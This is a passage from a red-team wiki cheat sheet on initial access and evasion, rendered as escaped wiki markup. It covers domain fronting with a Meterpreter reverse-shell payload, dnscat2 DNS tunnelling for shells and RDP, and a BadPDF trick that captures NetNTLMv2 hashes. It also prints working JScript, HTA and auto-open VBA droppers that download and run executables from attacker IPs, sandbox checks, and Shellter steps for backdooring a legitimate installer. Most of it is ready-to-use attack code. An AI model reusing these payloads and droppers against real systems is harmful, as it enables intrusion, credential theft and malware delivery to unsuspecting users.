Azure Frontable domain found: assets.outlook.com outlook-assets.azureedge.net.&lt;br /&gt;
Azure Frontable domain found: assets.outlook.com outlook-assets.afd.azureedge.net.&lt;br /&gt;
Search complete!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Test potential frontable domain:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl --header &amp;quot;Host: offensive-security.azureedge.net&amp;quot; [http://chosen-frontable-domain.com http://chosen-frontable-domain.com]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6. Inspecting Traffic&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use  ​Wireshark​  to inspect DNS and HTTP requests.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Getting shell using Domain fronting&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Initial setup&#039;&#039;&#039;: Confirm that a domain (e.g., do.skype.com) can be used for domain fronting. This requires:&lt;br /&gt;
The fronting domain is hosted on the same CDN as the attacker’s domain.&lt;br /&gt;
&lt;br /&gt;
* CDN forwards requests based on the HTTP  ​Host​  header.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;HTTPS Inspection&#039;&#039;&#039;: With Wireshark, encrypted HTTPS traffic is sent to the same IP as a previous, legitimate test.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Certificate Details&#039;&#039;&#039;:&lt;br /&gt;
The TLS certificate used in the exchange can be Microsoft&#039;s.&lt;br /&gt;
&lt;br /&gt;
* A certificate can be valid for multiple domains via the Subject Alternative Names (SAN). In this case, it&#039;s valid for 99 different domains. This allows a single certificate to cover multiple domains using the same encryption key.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Payload Creation&#039;&#039;&#039;:&lt;br /&gt;
Use  ​msfvenom​  to create a reverse shell payload.&lt;br /&gt;
&lt;br /&gt;
* The  ​&amp;lt;code&amp;gt;HttpHostHeader&amp;lt;/code&amp;gt;​  option sets the  &amp;lt;code&amp;gt;​Host&amp;lt;/code&amp;gt;​  header in HTTP. In the example:  ​&amp;lt;code&amp;gt;msfvenom -p windows/x64/meterpreter/reverse_http LHOST=do.skype.com LPORT=80 HttpHostHeader=offensive-security.azureedge.net -f exe &amp;gt; http-df.exe​ &amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Listener Configuration&#039;&#039;&#039;:&lt;br /&gt;
Configure a listener on the VM hosting the attacker site.&lt;br /&gt;
&lt;br /&gt;
* Use the Metasploit  ​multi/handler​  exploit with specified parameters to listen for incoming connections using the domain fronting technique.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Payload Execution&#039;&#039;&#039;:&lt;br /&gt;
Start packet capturing tool (e.g., Wireshark).&lt;br /&gt;
&lt;br /&gt;
* Execute the payload.&lt;br /&gt;
&lt;br /&gt;
* Inspect the traffic details.&lt;br /&gt;
&lt;br /&gt;
* The shell connects to the fronted domain&#039;s IP (e.g., do.skype.com). The HTTP Host headers should be set to the attacker’s domain (e.g., offensive-security.azureedge.net).&lt;br /&gt;
&lt;br /&gt;
== DNS Tunneling ==&lt;br /&gt;
&lt;br /&gt;
DNS tunneling is a technique to encapsulate non-DNS traffic over DNS protocols. It can be used for both legitimate and malicious purposes, like bypassing firewalls or exfiltrating data.&lt;br /&gt;
&lt;br /&gt;
=== dnscat2 ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Guide: [https://highon.coffee/blog/dns-tunnel-dnscat2-cheat-sheet/ DNS Tunneling dnscat2 Cheat Sheet (highon.coffee)]&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[https://github.com/iagox86/dnscat2 GitHub - iagox86/dnscat2]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-11.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Configuration on Ubuntu Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;File to Edit&#039;&#039;&#039;:  ​/etc/dnsmasq.conf​ &lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Config Entries&#039;&#039;&#039;:&lt;br /&gt;
Add these entires to the authoritive DNS server in the domain. The 192.168.119.120 is our kali IP.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
server=/tunnel.com/192.168.119.120&lt;br /&gt;
server=/somedomain.com/192.168.119.120&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Restart dnsmasq&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
offsec@ubuntu:~$ sudo systemctl restart dnsmasq&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Installing and Running dnscat2 on Kali Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Installation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
kali@kali:~$ sudo apt install dnscat2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Starting Server&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
kali@kali:~$ dnscat2-server tunnel.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Client command (example)&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
./dnscat --secret=d3d2f452f24afe4b362df248e2906c1d tunnel.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Running dnscat2 Client on Windows Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Start Command&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnscat2-v0.07-client-win32.exe tunnel.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Authentication Check&#039;&#039;&#039;&lt;br /&gt;
Verify the authentication string  ​Pedal Envied Tore Frozen Pegged Ware​  on both Kali and Windows sides.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Interacting with Client Session on Kali Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Attach to Session&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnscat2&amp;gt; session -i 1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Execute Commands Interactively&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
command (client) 1&amp;gt; shell&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Switch to New Session&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
command (client) 1&amp;gt; session -i 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Tunneling TCP with dnscat2 on Kali Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;TCP/IP Tunnels Over DNS&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* dnscat2 also supports TCP/IP tunnels over DNS. That means we can create a tunnel back to the victim machine so that we can RDP into it from our Kali system.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
command (client) 1&amp;gt; listen 127.0.0.1:3389 172.16.51.21:3389&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Dropper / Phishing ==&lt;br /&gt;
&lt;br /&gt;
=== [BAD]PDF ===&lt;br /&gt;
&lt;br /&gt;
[https://www.infosecmatter.com/metasploit-module-library/?mm=auxiliary/fileformat/badpdf BADPDF Malicious PDF Creator - Metasploit - InfosecMatter]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# This module can either creates a blank PDF file which contains a UNC link which can be used to capture NetNTLM credentials, or if the PDFINJECT option is used it will inject the necessary code into an existing PDF document if possible.&lt;br /&gt;
# Use the metasploit exploit and generate a PDF&lt;br /&gt;
msf6 auxiliary(fileformat/badpdf) &amp;gt; set lhost 10.10.14.8&lt;br /&gt;
lhost =&amp;gt; 10.10.14.8&lt;br /&gt;
msf6 auxiliary(fileformat/badpdf) &amp;gt; set filename job.pdf&lt;br /&gt;
filename =&amp;gt; job.pdf&lt;br /&gt;
msf6 auxiliary(fileformat/badpdf) &amp;gt; run&lt;br /&gt;
# Start a SMB server&lt;br /&gt;
impacket-smbserver share . -smb2support&lt;br /&gt;
# Now send the file through email or upload it to target. The point is to phish someone to open the PDF and then get their NetNTLMv2 hash.&lt;br /&gt;
impacket-smbserver share . -smb2support&lt;br /&gt;
Impacket v0.11.0 - Copyright 2023 Fortra&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0&lt;br /&gt;
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Incoming connection (10.10.110.35,4181)&lt;br /&gt;
[*] AUTHENTICATE_MESSAGE (Domain\Testuser,WORKSTATION-1)&lt;br /&gt;
[*] User WORKSTATION-1\Testuserauthenticated successfully&lt;br /&gt;
[*] Testuser::Domain:aaaaaaaaaaaaaaaa:40646fb31db19903e6a24ac5c3890ac9:01010000000000008054d853f122da0170c426f90c3a2d790000000001001000660049004f006a0070007a006400510003001000660049004f006a0070007a0064005100020010005a006b007a004900670056004e005000040010005a006b007a004900670056004e005000070008008054d853f122da010600040002000000080030003000000000000000000000000020000035dd0d4de6e44f56171932c0f1522230b9e11da16aa17557679e5fb48c1918560a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e0038000000000000000000&lt;br /&gt;
[*] Closing down connection (10.10.110.35,4181)&lt;br /&gt;
[*] Remaining connections []&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Jscript (.js) ===&lt;br /&gt;
&lt;br /&gt;
* It downloads a file from a specified URL (&amp;quot; [http://192.168.119.120/met.exe http://192.168.1.126/met.exe]&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
* It uses the `MSXML2.XMLHTTP` object (an HTTP request object) to make a GET request to the specified URL and retrieve the file content.&lt;br /&gt;
&lt;br /&gt;
* If the HTTP request is successful (HTTP status code 200), it saves the retrieved content to a local file named &amp;quot;met.exe&amp;quot; using the `ADODB.Stream` object.&lt;br /&gt;
&lt;br /&gt;
* It then uses the `WScript.Shell` object to run the &amp;quot;met.exe&amp;quot; file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
var url = &amp;quot; http://192.168.119.120/met.exe&amp;quot;;&lt;br /&gt;
var Object = WScript.CreateObject(&#039;MSXML2.XMLHTTP&#039;);&lt;br /&gt;
Object.Open(&#039;GET&#039;, url, false);&lt;br /&gt;
Object.Send();&lt;br /&gt;
if (Object.Status == 200)&lt;br /&gt;
{&lt;br /&gt;
    var Stream = WScript.CreateObject(&#039;ADODB.Stream&#039;);&lt;br /&gt;
    Stream.Open();&lt;br /&gt;
    Stream.Type = 1;&lt;br /&gt;
    Stream.Write(Object.ResponseBody);&lt;br /&gt;
    Stream.Position = 0;&lt;br /&gt;
    Stream.SaveToFile(&amp;quot;met.exe&amp;quot;, 2);&lt;br /&gt;
    Stream.Close();&lt;br /&gt;
}&lt;br /&gt;
var r = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;).Run(&amp;quot;met.exe&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Proxy-aware ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
var url = &amp;quot;http://192.168.119.120/met.exe&amp;quot;;&lt;br /&gt;
var xmlhttp = new ActiveXObject(&amp;quot;MSXML2.XMLHTTP.3.0&amp;quot;);&lt;br /&gt;
// Set proxy details using setProxy method&lt;br /&gt;
xmlhttp.setProxy(2, &amp;quot;http://proxy.example.com:8080&amp;quot;, &amp;quot;&amp;quot;);&lt;br /&gt;
xmlhttp.open(&amp;quot;GET&amp;quot;, url, false);&lt;br /&gt;
xmlhttp.send();&lt;br /&gt;
if (xmlhttp.status === 200) {&lt;br /&gt;
    var stream = new ActiveXObject(&amp;quot;ADODB.Stream&amp;quot;);&lt;br /&gt;
    stream.Open();&lt;br /&gt;
    stream.Type = 1;&lt;br /&gt;
    stream.Write(xmlhttp.responseBody);&lt;br /&gt;
    stream.Position = 0;&lt;br /&gt;
    stream.SaveToFile(&amp;quot;met.exe&amp;quot;, 2);&lt;br /&gt;
    stream.Close();&lt;br /&gt;
}&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
shell.Run(&amp;quot;met.exe&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTA ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/In3x0rabl3/OSEP/blob/main/Payloads/Phishing/nonDN2J.hta OSEP/Payloads/Phishing/nonDN2J.hta at main · In3x0rabl3/OSEP (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
var re = shell.Run(&amp;quot;powershell -windowstyle hidden bitsadmin /Transfer newjob3 http://192.168.49.173/enc3.txt c:\\windows\\temp\\enc3.txt;certutil -decode c:\\windows\\temp\\enc3.txt c:\\windows\\temp\\bypass.exe;C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\installutil.exe /logfile= /LogToConsole=false /U C:\\windows\\temp\\bypass.exe&amp;quot;)&lt;br /&gt;
//var res = shell.Run(&amp;quot;bitsadmin /Transfer newjob2 http://192.168.49.173/enc2.txt c:\\windows\\temp\\enc1.txt&amp;quot;);&lt;br /&gt;
//var res1 = shell.Run(&amp;quot;timeout 10 &amp;amp;&amp;amp; certutil -decode c:\\windows\\temp\\enc.txt c:\\windows\\temp\\bypass.exe&amp;quot;);&lt;br /&gt;
//var res2 = shell.Run(&amp;quot;timeout 12 &amp;amp;&amp;amp; C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\installutil.exe /logfile= /LogToConsole=false /U C:\\windows\\temp\\bypass.exe&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
self.close();&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
var res = shell.Run(&amp;quot;powershell.exe iwr -uri http://172.21.23.10/inj_runner.exe -outfile C:\\users\\public\\runner.exe; C:\\users\\public\\runner.exe&amp;quot;);&lt;br /&gt;
var ress = shell.Run(&amp;quot;powershell.exe wget http://172.21.23.10/inj_runner.exe -o C:\\users\\public\\runner.exe; C:\\users\\public\\runner.exe&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
self.close();&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== VBA ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
	Dim str As String&lt;br /&gt;
	str = &amp;quot;powershell (New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.ps1&#039;) | IEX&amp;quot;&lt;br /&gt;
	Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
#&lt;br /&gt;
The provided VBA code automatically downloads an executable from a specified IP address when a document is opened and then runs it after a 2-second delay.&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
 MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
 MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
 Dim str As String&lt;br /&gt;
 str = &amp;quot;powershell (New-Object&lt;br /&gt;
System.Net.WebClient).DownloadFile(&#039;http://192.168.119.120/msfstaged.exe&#039;,&lt;br /&gt;
&#039;msfstaged.exe&#039;)&amp;quot;&lt;br /&gt;
 Shell str, vbHide&lt;br /&gt;
 Dim exePath As String&lt;br /&gt;
 exePath = ActiveDocument.Path + &amp;quot;\msfstaged.exe&amp;quot;&lt;br /&gt;
 Wait (2)&lt;br /&gt;
 Shell exePath, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Wait(n As Long)&lt;br /&gt;
 Dim t As Date&lt;br /&gt;
 t = Now&lt;br /&gt;
 Do&lt;br /&gt;
 DoEvents&lt;br /&gt;
 Loop Until Now &amp;gt;= DateAdd(&amp;quot;s&amp;quot;, n, t)&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== EXE to DLL ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/hasherezade/exe_to_dll hasherezade/exe_to_dll: Converts a EXE into DLL (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#Usage&lt;br /&gt;
#Run exe_to_dll from commandline. Arguments:&lt;br /&gt;
args:&lt;br /&gt;
# Example:&lt;br /&gt;
exe_to_dll.exe test_case1.exe test_case1.dll&lt;br /&gt;
# After the successful conversion you should obtain a DLL exporting a Start function. This is the Original Entry Point of your input application.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Evasion techniques ==&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2698 AV Evasion 101: Essential Techniques and Concepts – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
[https://evasions.checkpoint.com/?utm_source=pocket_saves Evasion techniques (checkpoint.com)]&lt;br /&gt;
&lt;br /&gt;
=== Hypervisor check ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
class Program&lt;br /&gt;
{&lt;br /&gt;
    [DllImport(&amp;quot;hypervisor_check.dll&amp;quot;, CallingConvention = CallingConvention.Cdecl)]&lt;br /&gt;
    public static extern bool is_run_in_hypervisor();&lt;br /&gt;
    static void Main()&lt;br /&gt;
    {&lt;br /&gt;
        bool inHypervisor = is_run_in_hypervisor();&lt;br /&gt;
        Console.WriteLine(inHypervisor ? &amp;quot;Running in a hypervisor!&amp;quot; : &amp;quot;Not running in a hypervisor.&amp;quot;);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Sleep function ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
// Import dll&lt;br /&gt;
[DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern void Sleep(uint dwMilliseconds);&lt;br /&gt;
// In main&lt;br /&gt;
DateTime t1 = DateTime.Now;&lt;br /&gt;
Sleep(5000);&lt;br /&gt;
double t2 = DateTime.Now.Subtract(t1).TotalSeconds;&lt;br /&gt;
if (t2 &amp;lt; 1.5)&lt;br /&gt;
   {&lt;br /&gt;
       return;&lt;br /&gt;
    }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Frida - Hooking ==&lt;br /&gt;
&lt;br /&gt;
== Initial Access - All-around tools ==&lt;br /&gt;
&lt;br /&gt;
There are several tools that help pack a payload that bypasses AV. Depending on your C2 framework, most of shellcode generated is burned already. Some of these tools can help evade detection.&lt;br /&gt;
&lt;br /&gt;
AV bypass can be tedious and some of these tools might help.&lt;br /&gt;
&lt;br /&gt;
=== Theory ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On-Disk Evasion&lt;br /&gt;
- Packers&lt;br /&gt;
- Obfuscator&lt;br /&gt;
- Crypters&lt;br /&gt;
- Software protectors&lt;br /&gt;
# In-memory Evasion&lt;br /&gt;
- Remote Process Memory Injection&lt;br /&gt;
- Reflective DLL Injection&lt;br /&gt;
- Process Hollowing&lt;br /&gt;
- Inline hooking&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== BallisKit - MacroPack ===&lt;br /&gt;
&lt;br /&gt;
[https://www.balliskit.com/ BallisKit]&lt;br /&gt;
&lt;br /&gt;
MacroPack Pro is a Swiss-army knife for initial vector generation. It helps Red Teams automate, weaponize and deliver payloads while offering robust defense bypass techniques.&lt;br /&gt;
&lt;br /&gt;
MacroPack Pro supports the latest trend in payload generation such as LNK, URL, ClickOnce, HTML smuggling. It can be used to generate or trojan classic Office formats (Word, Excel, PowerPoint, Publisher, OneNote, Visio, MS Project). If you are looking at Office alternatives, use MacroPack to generate scripts such as HTA, WSF, SCT, VBS, MSI, etc.&lt;br /&gt;
&lt;br /&gt;
MacroPack Pro is compatible with common offensive frameworks and tools such as Sliver, Cobalt Strike, Mythic, Empire, among others.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
The free version of MacroPack is available here, though it won&#039;t be as good as bypassing AV.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/sevagas/macro_pack&lt;br /&gt;
# Must be installed from Windows machine&lt;br /&gt;
# Some example commands from github. All other commands are available on Github&lt;br /&gt;
# Obfuscate the vba file generated by msfvenom and puts result in a new VBA file.&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba&lt;br /&gt;
# List all supported file formats&lt;br /&gt;
macro_pack.exe --listformats&lt;br /&gt;
# List all available templates&lt;br /&gt;
macro_pack.exe --listtemplates&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mgeeky&#039;s tools ====&lt;br /&gt;
&lt;br /&gt;
Mgeeky have created some very great tools, some free, some cost money and require sponsoring on GitHub.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/sponsors/mgeeky Sponsor @mgeeky on GitHub Sponsors]&lt;br /&gt;
&lt;br /&gt;
[https://binary-offensive.com/software binary-offensive | Offensive IT Security]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Some of my private repositories shared with my Sponsors include:&lt;br /&gt;
MSISnatcher - MSI backdooring companion&lt;br /&gt;
Polonium - AV/EDR benchmarking tool, advanced shellcode loader&lt;br /&gt;
Bloated-EXE-in-LNK&lt;br /&gt;
SharpPRT - PRT extraction helper&lt;br /&gt;
cobalt-initial-opsec - headless agressor script&lt;br /&gt;
BOF.NET - (my fork) stealthily run .NET assemblies in-process&lt;br /&gt;
Carbuncle - (my fork) All you ever wanted from Outlook during RT&lt;br /&gt;
azure-functions-redirector&lt;br /&gt;
digitalocean-app-redirector&lt;br /&gt;
MyStayKit&lt;br /&gt;
Anonymize_CS_Logs&lt;br /&gt;
mgeeky-gists&lt;br /&gt;
and more..&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shellter ===&lt;br /&gt;
&lt;br /&gt;
 Shellter is a dynamic shellcode injection tool and one of the most popular free tools capable of bypassing antivirus software.&lt;br /&gt;
&lt;br /&gt;
 It uses a number of novel and advanced techniques to essentially backdoor a valid and non-malicious executable file with a malicious shellcode payload.&lt;br /&gt;
&lt;br /&gt;
The free version only works for x86, not x64.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install&lt;br /&gt;
sudo apt install shellter&lt;br /&gt;
apt install wine&lt;br /&gt;
# If error&lt;br /&gt;
dpkg --add-architecture i386 &amp;amp;&amp;amp; apt-get update &amp;amp;&amp;amp;&lt;br /&gt;
apt-get install wine32:i386&lt;br /&gt;
# Start&lt;br /&gt;
shellter&lt;br /&gt;
# Download a valid .exe file, ex spotify installer and load it into shellter.&lt;br /&gt;
/home/aghanim/downloads/SpotifySetup.exe&lt;br /&gt;
# Choose a payload from the list.&lt;br /&gt;
L&lt;br /&gt;
1&lt;br /&gt;
SET LHOST: IP&lt;br /&gt;
SET LPORT: PORT&lt;br /&gt;
# After shellter finishes injecting shellcode in the binary, transfer it to target and execute. You&#039;ll get a shell back but it will die when the installer is finished and the process is closed. To bypass this, we can use meterpreter &amp;quot;migrate&amp;quot;.&lt;br /&gt;
set AutoRunScript post/windows/manage/migrate&lt;br /&gt;
-----------------------&lt;br /&gt;
# You can also set custom payload&lt;br /&gt;
# First generate a binary file with msfvenom. -e is the encoding we&#039;re using, and -i is the number of iterations. (The number of times to encode the payload)&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.4 LPORT=80 -e x86/shikata_ga_nai -i 7 -f raw &amp;gt; met.bin&lt;br /&gt;
# Start shellter&lt;br /&gt;
Choose Operation Mode - Auto/Manual (A/M/H): A&lt;br /&gt;
PE Target: /home/kali/poultry/whoami.exe&lt;br /&gt;
**********&lt;br /&gt;
* Backup *&lt;br /&gt;
**********&lt;br /&gt;
Backup: Shellter_Backups\whoami.exe&lt;br /&gt;
...&lt;br /&gt;
Filtering Time Approx: 0.0024 mins.&lt;br /&gt;
Enable Stealth Mode? (Y/N/H): N&lt;br /&gt;
************&lt;br /&gt;
* Payloads *&lt;br /&gt;
************&lt;br /&gt;
[1] Meterpreter_Reverse_TCP   [stager]&lt;br /&gt;
[2] Meterpreter_Reverse_HTTP  [stager]&lt;br /&gt;
[3] Meterpreter_Reverse_HTTPS [stager]&lt;br /&gt;
[4] Meterpreter_Bind_TCP      [stager]&lt;br /&gt;
[5] Shell_Reverse_TCP         [stager]&lt;br /&gt;
[6] Shell_Bind_TCP            [stager]&lt;br /&gt;
[7] WinExec&lt;br /&gt;
Use a listed payload or custom? (L/C/H): C&lt;br /&gt;
Select Payload: /home/kali/poultry/met.bin&lt;br /&gt;
Is this payload a reflective DLL loader? (Y/N/H): N&lt;br /&gt;
****************&lt;br /&gt;
* Payload Info *&lt;br /&gt;
****************&lt;br /&gt;
...&lt;br /&gt;
Injection: Verified!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
